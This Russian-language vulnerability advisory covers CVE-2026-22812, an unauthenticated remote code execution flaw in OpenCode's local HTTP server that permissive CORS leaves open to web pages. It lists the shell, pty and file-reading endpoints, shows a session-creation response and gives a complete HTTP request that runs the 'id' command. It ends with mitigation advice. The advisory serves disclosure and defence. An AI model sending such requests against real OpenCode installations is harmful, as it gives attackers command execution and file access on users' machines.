CVE-2026-22812 — уязвимость удаленного выполнения кода в OpenCode.
🫡 Метрики
Base Score: 8.8 HIGH
CWE: CWE – 306, CWE – 749, CWE – 942
🫡 Подробнее об уязвимости
OpenCode автоматически запускает локальный HTTP-сервер без какой-либо аутентификации. Сервер позволяет отправлять запросы, которые исполняют shell-команды от имени пользователя, запустившем OpenCode.
Из-за слишком разрешительных настроек CORS-сервер может быть доступен даже с веб-страницы — это расширяет вектор атаки далеко за пределы локальных приложений.
🫡 Уязвимые конечные точки
/session/{ID}/shell — выполнение shell-команд;/pty — создание интерактивных терминальных сессий;/file/content — чтение произвольного файла.🫡 Цепочка атаки
Отправка POST-запроса на /session — получение сессии. Пример ответа:
{"id":"ses_42b13a22bffech8bpcpa6bpZO4","version":"1.0.215","projectID":"global","directory":"/workspaces","title":"New session - 2026-01-19T06:23:38.964Z","time":{"created":1768803818964,"updated":1768803818964}}Далее сессия, в нашем случае ses_42b13a22bffech8bpcpa6bpZO4, используется для shell-команд:
POST /session/ses_42b13a22bffech8bpcpa6bpZO4/shell HTTP/1.1
Host: localhost:4096
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 41
{"agent": "build", "command": "id"}
🫡 Как защититься
1) Обновиться.
2) Если быстрое обновление невозможно, то блокировать запросы на уязвимые конечные точки из внешних систем, например, правилами WAF/IDS.
